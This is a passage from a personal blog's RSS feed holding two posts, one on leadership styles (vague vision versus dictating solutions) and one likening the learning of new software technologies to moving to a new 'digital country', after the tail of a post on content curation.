communities being formed from content curation are
&lt;a href=&quot;https://www.morningbrew.com/daily/subscribe&quot;&gt;Morning Brew&lt;/a&gt;
or &lt;a href=&quot;https://www.readthegeneralist.com/&quot;&gt;The Generalist&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The near future should bring even more curators across industries, with the
biggest ones forming communities and doing collabs. This added value will be
monetized in different forms, from premium content to courses or events. How far
can we push this concept before a new push towards decentralization arrives?&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Leadership styles]]></title><description><![CDATA[A take on different leadership styles and what I consider a healthy balance.]]></description><link>https://bernardoamc.com/leadership-styles/</link><guid isPermaLink="false">https://bernardoamc.com/leadership-styles/</guid><pubDate>Thu, 18 Feb 2021 19:15:00 GMT</pubDate><content:encoded>&lt;p&gt;Over the years in the industry I have seen a spectrum of leadership styles and every time leadership approaches one end of the spectrum the team morale or ownership tends to suffer. So what are those leadership styles in practice?&lt;/p&gt;
&lt;p&gt;On one side we have the visionaries, where the ambition is present but the directions are vague at best. Have you ever faced statements like “Let’s improve customer service” or &lt;em&gt;“Let’s be the best &lt;insert product category&gt; in our area.”&lt;/em&gt;? Vision without a plan can work well in the short term as a motivation tool, but the lack of clarity always catches up. It needs to be followed up by a plan.&lt;/p&gt;
&lt;p&gt;It’s not wrong for leadership to display ambition towards a product, but a vague direction doesn’t empower problem solvers to actually fulfill this ambition. After all, problem solvers need an actual problem to solve. Having a clear problem statement and a definition of success breeds creativity and ownership.&lt;/p&gt;
&lt;p&gt;On the other side we have leaders that go too deep into problem solving without involving the team and end up “delegating solutions”. This has an even worse effect on team morale and growth. Beware of statements like “We will use Kafka” or “We need to migrate X”.&lt;/p&gt;
&lt;p&gt;This is usually the style adopted by new leaders that were recognized for their technical skills. It is common for the new lead to feel a big sense of ownership and try to own the entire project or product while still learning how to manage.&lt;/p&gt;
&lt;p&gt;Since we are talking about two sides, there must be a healthy middle. So what actionable steps can leadership take to ensure the team grows, feels empowered to solve problems and improve the product?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Set the context&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;What’s the reason behind high-level decisions? Why should we pursue path “A” instead of “B”? Sharing context is a great way to bring clarity to the team and help individuals make the best decisions for the product. Individuals questioning the path should also be considered healthy.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Identify problem areas&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pointing out opportunities about a particular area and setting success metrics is a great way to empower the team to work on the right problems. From this point onwards the team can explore and figure out the best solution for the problem at hand.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Leverage your network&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Identify and invite external stakeholders to do a frank assessment of the team’s work. Making use of your broader network is a great way to ensure that the team will have all the information they need to be successful.&lt;/p&gt;
&lt;p&gt;Keep an eye on emerging trends that can influence the product and also pay attention to surrounding opportunities. Leveraging something that another team across the company built or is building is a good example. Partnerships are another great example of leveraging your network and influence.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ask questions&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Sometimes asking the right questions can be more powerful than knowing the answer itself. It shows trust and helps you connect with the broader team. It might even spark innovative thinking.&lt;/p&gt;
&lt;p&gt;…&lt;/p&gt;
&lt;p&gt;At the end of the day individuals are looking for something that can help them grow and also achieve something they are proud of. Bringing a clear vision to the table, being fair in our assessments and feedback and providing a good environment through context goes a long way to help everyone achieve their goals.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Digital country]]></title><description><![CDATA[Learning and mentoring through our new digital context.]]></description><link>https://bernardoamc.com/digital-country/</link><guid isPermaLink="false">https://bernardoamc.com/digital-country/</guid><pubDate>Mon, 15 Feb 2021 07:15:00 GMT</pubDate><content:encoded>&lt;p&gt;In a recent chat with a friend we touched upon the topic of how learning a new language after moving to a new country is much more involved than just learning which words to say and how to say them. We are faced with new cultural references, mannerisms, slangs, rules and regulations. It’s an entirely new context to parse and understand.&lt;/p&gt;
&lt;p&gt;I’m originally from Brazil and moving to Canada was no different to me. My English was functional at best and it wasn’t uncommon for me to have trouble expressing myself and spend more time listening rather than talking. Even after considerably improving my English, I had trouble participating in conversations involving music, politics or general cultural references. I still do sometimes.&lt;/p&gt;
&lt;p&gt;Back to the topic at hand, having that conversation made me think that the software development industry is not that different from an individual learning a new language. You start to learn &lt;insert your favourite programming language here&gt; and you don’t take a lot of time to grasp the keywords, but as a new person in the field you are faced with different expressions, cultural or technical references and it is just too much. Again, it’s an entirely new context to parse and understand.&lt;/p&gt;
&lt;p&gt;The most challenging aspect of it is that you haven’t changed your physical location, so your mind doesn’t have this cue to think &lt;em&gt;“It’s alright, I’m new here and I will have to adapt”&lt;/em&gt;. What’s worse, our context &lt;strong&gt;keeps evolving&lt;/strong&gt; every few years. It’s no wonder imposter syndrome is so prevalent in our industry. It’s akin to moving to a new country over and over again, let’s call it a “digital country”.&lt;/p&gt;
&lt;p&gt;Being an engineering manager gave me the privilege of interacting with developers with a wide range of skills and experience. Every single one of them had something to learn and struggled while moving to a new digital country. Be it a new framework, programming language or a different field. Sure, you can sometimes bridge your knowledge the same way a Spanish or French speaker might have an easier time learning Portuguese or Italian, but everyone struggles with changes.&lt;/p&gt;
&lt;p&gt;The language or framework is just the beginning! What are the accepted patterns and practices? How do I express myself within that new context? This learning process is different for everyone and not taking that in consideration is the difference between good versus bad mentoring or even being harmful to the growth process of your peer.&lt;/p&gt;
&lt;p&gt;We have plenty of examples of this change in context or people still transitioning within that context in our industry. A senior developer might ask a trivial question from a frontend developer’s perspective, or a system programmer struggling with web development. Change of frameworks, Django, Rails, Phoenix, Rocket? From dynamic to static languages and vice versa? I’m sure you can think of even more examples.&lt;/p&gt;
&lt;p&gt;Rather than judging and applying our own standards for what our peers should know we should do our best to mentor and encourage them to be their best selves.&lt;/p&gt;
&lt;p&gt;Be kind with your fellow peers, don’t expect them to have the same cultural and technical references, maybe they just haven’t been in the same digital country that you have been for long enough.&lt;/p&gt;</content:encoded></item></channel></rss>